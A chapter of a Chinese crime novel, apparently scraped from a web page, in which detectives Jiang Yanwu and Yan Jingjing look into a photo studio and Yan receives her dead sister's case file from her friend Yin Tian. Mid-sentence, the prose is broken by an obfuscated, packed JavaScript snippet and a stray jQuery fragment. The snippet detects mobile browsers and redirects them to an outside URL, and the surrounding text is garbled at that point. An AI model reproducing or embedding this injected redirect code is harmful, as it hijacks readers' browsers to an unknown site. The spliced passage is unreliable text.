06


    从锦绣家园出来，蒋炎武没急着发动车。他把着方向盘，指节敲着塑料圈。车窗摇下半截，热风裹着废品站的铁锈涌进来，混着打牌的吆喝。


    “照片那事，”蒋炎武盯着后视镜里越来越小的17栋，“怎么看出来的？”


    严菁菁坐在副驾，身子歪着，右肩抵着车门，手里又摸出那把瓜子，但没嗑，只是慢慢捻，像在数念珠。“照片玻璃反光，能瞅见拍摄日期。1999年6月18号。”


    “然后？”


    “我1999年在威北户籍科。”严菁菁转过脸，窗外树影在她焦黄的脸上滑过，“那年六月，建设路改造，良缘照相馆那一片停了三天电。影楼没自备发电机，拍不了室内照。”


    蒋炎武敲方向盘的手停了，“所以王美玲说那天晴天在影楼拍照，是撒谎？”


    “半真半假。”严菁菁眼皮都没抬，“天许是晴的，可没在影楼照。后头那些柱子假花，边上有虚影，是后头补的，不是良缘的棚。她说脸糊了，不是照相时晃了，是洗片子时两张底片没对齐，叠坏了。影楼说能修，其实是重照了一回，把后景换了。”蒋炎武颔首，“所以那张有问题的照片，根本不是拍照当天出的事，是后来洗印时底片混了？”


    “嗯。”严菁菁终于嗑开一颗瓜子，壳吐在手心，“王美玲没全撒谎，她真吓着，不过吓着她的不是鬼影子，是那张混进去的底片上，真有个人。”


    “谁？”


    严菁菁不说话了。她把手心里的瓜子壳倒进车载烟灰缸，又从兜里抓出几颗新的，一颗颗排在膝盖上，排成一个圈。


    蒋炎武等了几秒，知道等不到答案，便换了问题，“李秀娟女儿拍照那事，笔录里确实提过一嘴，但你怎么确定就是良缘？”


    “建设路就三家照相馆。一家专拍证件相，一家连锁的儿童相，能拍母女相的只有良缘，”她顿了顿，“李秀娟通话记录，查了吗？”


    蒋炎武一愣。他还真没来得及查。调李秀娟的通讯记录需要手续，他原本打算下午回队里就办。


    “甭查咧。号我记着。前头七位是建设路那片的号段，后头四位1420，良缘注册工商执照时留的电话尾号。”


    蒋炎武侧目看她，这女人脑子像台精密扫描仪，一眼保存，且随时能调取比对，“所以你现在认定，良缘有问题？”


    “不是认定。”严菁菁看着窗外，“是它就在那儿，问题自己往外冒。”


    车子汇入主干道的车流。下午三点多，挡风玻璃上晃着一片白花花的光。蒋炎武开了空调，冷风嘶嘶吹，但吹不散心里的躁郁。


    “回队里？”他问。


    “先送我趟。我租了个房，得去拾掇。”


    蒋炎武有些意外，“局里不是安排了宿舍？”


    “住不惯。太干净。”


    蒋炎武没再问，按照她说的地址开。路越走越窄，楼越走越密，最后拐进片城中村。电线蛛网一样在头顶层叠，晾衣竿横七竖八，裤衩背心滴滴答答。巷子窄得仅够一辆车通过，两旁是密麻的自建房，没什么墙皮，处处红砖，用油漆涂着“出租”“修理”“批发”。


    严菁菁新家在六层。没电梯，楼梯间堆着衣柜、灶台、煤球、旧家具、腌菜坛子，空气里浮着霉和尿骚。


    蒋炎武跟着她爬上六楼。严菁菁掏出钥匙开门，铁门咣当一声响，门轴缺油，涩得很。


    屋里空荡荡，水泥地，白墙泛黄，墙角的漏水发黑。总共二十来平米，一室一厨一卫，家具就一张木板床、一张歪方桌、两把塑料凳。窗户朝西，这会儿正灌进滚烫的夕阳。


    蒋炎武注意到屋内虽简陋，却收拾得异常整齐。床铺平整，被子叠成豆块。桌上摆着她的水壶、铁皮盒、笔记本和铅笔，还有那个电影放映机镜头，擦得锃亮。墙角立着那个瘪瘪的帆布包。


    窗台放着三个破搪瓷盆，盆里栽小葱、蒜苗和辣椒，绿油油，红艳艳，长势喜人。窗玻璃一尘不染，能瞧见对面楼阳台，以及更远处城中村千头万绪的屋顶。


    “这儿能住人？”


    “能。”严菁菁把钥匙扔桌上，俯身看那几盆菜，“这儿好。”


    “好在哪？”


    “消息灵通。”严菁菁摘下一片枯黄的葱叶，在手里捻碎，“收废品、送煤气、开摩的、卖早点，都住这片。谁家媳妇跑，谁家儿子进去了，谁家半夜来生人，第二天整个村都知道。”


    的确，城中村是城市的毛细血管，也是信息暗网的交汇点。住在这里，确实比警局宿舍更能摸到地气。


    “治安可不好。”蒋炎武说，“夜里锁好门。”


    严菁菁嗯一声，算是回应。墙边有个老式电表箱，箱门掩着。里面除了电表还塞了沓小广告。严菁菁抽出最上面一张，是疏通下水道的，背面用圆珠笔写着串数字。


    “这什么？”


    “房东电话。”严菁菁把广告纸翻过来，“这片包打听的头。”


    蒋炎武接过一看，电话号码下面还有行小字：钟姨，啥事都管。“你倒是快，才来几天，连地头蛇都搭上了。”


    “我晚上回队里。”


    蒋炎武听出来了，这是在赶人，他转身往外走，“需要帮忙说一声。”


    严菁菁弯腰从帆布包里掏东西，一床白床单，两只掉漆的搪瓷碗，还有个小型手电筒，“不用。”她说。


    光从西窗扑进来，把水泥地泼成一片橘红。严菁菁刚把搪瓷碗摆上桌，敲门声就响了。三轻一重，像某种暗号。


    门外一三十七八的女人，没穿警服，白T恤扎在牛仔裤里，短发被汗水濡湿了几缕，贴额角上。左手抱着个空气炸锅，右肩挎着布包，两人一对视，女人吃了个响亮的口哨，严箐箐扑哧笑了，这是她第一次咧嘴大笑，整张脸柔和又突兀，身子一侧，忙让女人进屋。


    来人是淮江市局刑侦支队的煞神，殷天。


    殷天扫过被褥、绿菜、电影镜头，最后停在严菁菁脸上，像在检查一件久别重逢的老物件，看磨损，看裂痕，看时光啃噬后留下的质地。


    “瘦了。”


    严菁菁没接话，从壶里倒出两碗水。水是凉的，碗边有磕碰的缺口。殷天接过，仰脖灌下大半，研究起空气炸锅。“团子买的，”她掐着小细嗓模仿米团子，“快给箐箐阿姨带一锅吧，不然她得饿死自己，垃圾食品最好吃，空气炸锅YYDS。”


    插头插进墙角的插座，指示灯亮起红光。


    严箐箐颇为内疚地抠手，“我没有给她带东西。”


    “她缺什么？她什么都不缺，她把郭锡坪家的小崽子哄得跟胚胎一样，定点定时给她上供。”殷天从包里掏出塑料袋，里面是腌制好的鸡翅，酱色浓重，粘着蒜末和孜然。她一只只码进炸篮。


    机器开始嗡鸣，发热管逐渐泛红。油脂的香气一丝丝渗出，先是若有若无，然后浓郁霸道地挤满二十平米的空间。这香气与简陋格格不入，像一场施舍。


    殷天拉过塑料凳坐下，两人间隔着方桌。很长时间，只有空气炸锅的嗡嗡和楼下夜市渐起的喧闹。卖炒粉的锅铲撞击，烤串摊的炭火噼啪，孩童追逐的尖叫，摩托车的突突，这些声从窗口涌进来，在屋里打个转，又流出去。


    她们能喧哗能沉默，有些交情淬过火，在生死边缘滚过几遭，便有了最自然的相处分量。殷天掏出一包烟，磕出一支，递给严菁菁。严菁菁摇头，她便自己点上，深吸一口。


    “蒋炎武。”殷天忽然开口。


    严菁菁抬眼。


    “不坏。”殷天弹烟灰，“学习班那会儿，二十几个人，就他每天最早到训练场，最晚离开靶场。稳，扎实，像棵往下长的树。”她顿了顿，“可惜长在一片想往上攀的藤蔓里。爹妈，亲戚，整个家族的眼睛都挂在他肩上。每破一个案子，家里就催他更进一步。这次省厅的缺，他家惦记半年了。”


    严菁菁听着，手指无意识地摩挲着桌面上的一道裂痕。木刺刮着指腹，有些痛感。


    “你一来，堵了他的路。他心里有疙瘩，正常。但本质上，他不是钻营的人。只是……”殷天寻找着合适的词，“只是习惯了按别人画的格子走路。”


    空气炸锅叮一声，殷天拉开炸篮。鸡翅已变成金黄色，表皮焦脆，油脂滋滋。她用手直接捏出两只，放在搪瓷碗里，推给严菁菁。


    “西北待不住了？”


    楼下的喧闹忽然高了一瞬，有人在吵架，咒骂混着哭声攀着墙壁爬上来，在窗口探头探脑。


    “我掺和得太深。”严菁菁开口，拿起鸡翅，“有些人不舒服了。有些人……怕了。”


    “怕你翻出旧账？”


    严菁菁没回答。她咬了一口鸡翅，肉很嫩，酱汁咸中带甜。她咀嚼的动作很慢，腮帮一鼓一瘪，像在消化某种更坚硬的东西。


    殷天看着她吃，自己那支烟已经燃到过滤嘴。她按灭在搪瓷碗沿，“你妹妹的档案，我调出来了。”


    她从帆布包里掏出个牛皮纸袋，没立刻递过去，而是放在桌上，手指压着。纸袋很薄，轻飘飘的，却又有千钧重。


    严菁菁停了咀嚼，整个人凝固了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140525|196306||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，只有眼睛在动，像深潭下的暗流。屋里忽然静得可怕，连空气炸锅的余热都停了扩散。窗外的喧嚣退避三舍，成了模糊的背景音。


    良久，严菁菁伸出手。手指在触及纸袋前停了一瞬，这才拿起来。没拆，只是握着，死死握着。


    “菁菁，”殷天说，“八年了。”


    严箐箐看她，“你追了多少年，庄郁死刑后，你走出来了吗？我妹的眼睛，”严菁菁声音又低又哑，“闭不上。我合了三次，睁开三次。她有事要告诉我。”


    殷天不再劝。有些伤口结了痂，底下却在化脓，不能碰，一碰就血肉模糊。她们都见过太多闭不上的眼睛，这行当干久了，人会变成一口深井，所有的惊涛骇浪都沉在水下，面上无波无澜。


    严菁菁把纸袋塞到床垫底下，动作极快，像藏一截烧红的炭。然后她回到桌边，继续吃那个鸡翅。吃得干干净净，连软骨都嚼碎了咽下。


    “良缘照相馆，”殷天换了话题，“你查了？”


    “王美玲的婚纱照，1999年6月拍的。”严菁菁说，“但那年六月，建设路停电三天，影楼拍不了室内照。她那张照片，背景是合成的。”


    殷天蹙眉。


    “还有，”严菁菁拿起水碗抿一口，“2008年，良缘洗过一批涉密胶卷。送洗人叫严柏青。”


    空气骤然一紧，殷天坐直了身子，“你父亲？”


    “我父亲1999年就死了。遗物清点过，没胶卷。就算有，也不会拿到街边小店去洗。他在档案馆工作，接触的东西，见不得光。”


    “照相馆老板，什么来路？”


    “面上干净。”严菁菁说，“但太干净了。1998年开店，2008年出事，之后就老老实实。可李秀娟失踪前去过那里，王美玲的照片有问题，太巧。”


    “需要我做什么？”


    “不用。”严菁菁摇头，“你位置敏感，别沾手。”


    殷天笑了，“咱俩之间还说这个。箐箐，我可以是你的底牌，也可以是你手上的兵器，这是我愿意的，也是老和愿意的。他至今都很感谢你，把我活着送回他和孩子身边。”


    殷天起身走到窗边。夜色已漫上来，城中村的灯火次第亮起，远处，威北市中心的霓虹开始闪耀，像另一个世界的星河。“蒋炎武在查你父亲的档案。”殷天背对着她说，“我来的路上接了柳子的电话，说他在内网调了严柏青的资料。”


    严菁菁不觉意外。她早知道蒋炎武会查，这是种无声较量，摸黑试探。


    “让他查。”严菁菁说。


    殷天转过身，暮色在她脸上投下长影。“威北的水比你想象的深。你妹妹的案子，你父亲的死，良缘照相馆，还有为什么偏偏这时候把你调回来……这些线头，可能都连着同一张网。”


    严菁菁没说话。她从裤兜里掏出一颗瓜子，放进嘴里。


    咔。


    一声脆响，尤为清晰。


    殷天看着她嗑瓜子，看着那颗小果实在她齿间分裂，壳归壳，仁归仁。这动作里有种近乎仪式的专注，像在完成某种隐秘的咒语。


    “走了。”殷天拎起布包，“有事电话。蒋炎武那人，如果时机对，能成为助力。但信任这东西，得一点点磨。你刚来，别急。”


    严菁菁点头。


    门开了又关。脚步声在楼梯间趿趿，最终淹在市井里。


    严菁菁没开灯，摸黑走到床边，从床垫下抽出牛皮纸袋。月光勉勉强强照出纸袋轮廓。她没拆，只是握着，感受分量。夜风涌入，炒菜油腥、垃圾酸腐、香水甜腻、汗水咸馊。各种气味搅拌在一起，生机勃勃，又藏污纳垢。


    楼下，钟姨打骂孩子，隔壁麻将哗啦，有人笑有人哭，有人叹气有人咆哮。更远处警笛声由远及近，由近及远，像城市永不止息的脉搏。


    市中心的方向是另一个威北，光鲜的、秩序的、冰冷的。


    而她站在这片混乱的、温热的、肮脏的土壤上，举起那个电影放映机镜头，世界颠倒了。天在下，地在上。灯火成了坠落的星，人群成了倒流的河。一切都在失真，变形，露出另一种真相。


    良久，她放下镜头，从裤兜里抓出一把瓜子，一颗颗，慢慢地嗑。


    咔。咔。咔。


    声音清脆固执，像在叩问什么，又像在等待什么。


    同一时刻，市局刑侦支队办公室。


    蒋炎武盯着屏幕上的“严柏青”三个字，香烟在指间燃尽，烫到皮肤才猛然回神。他甩掉烟蒂，目光扫过死亡日期：1999年6月。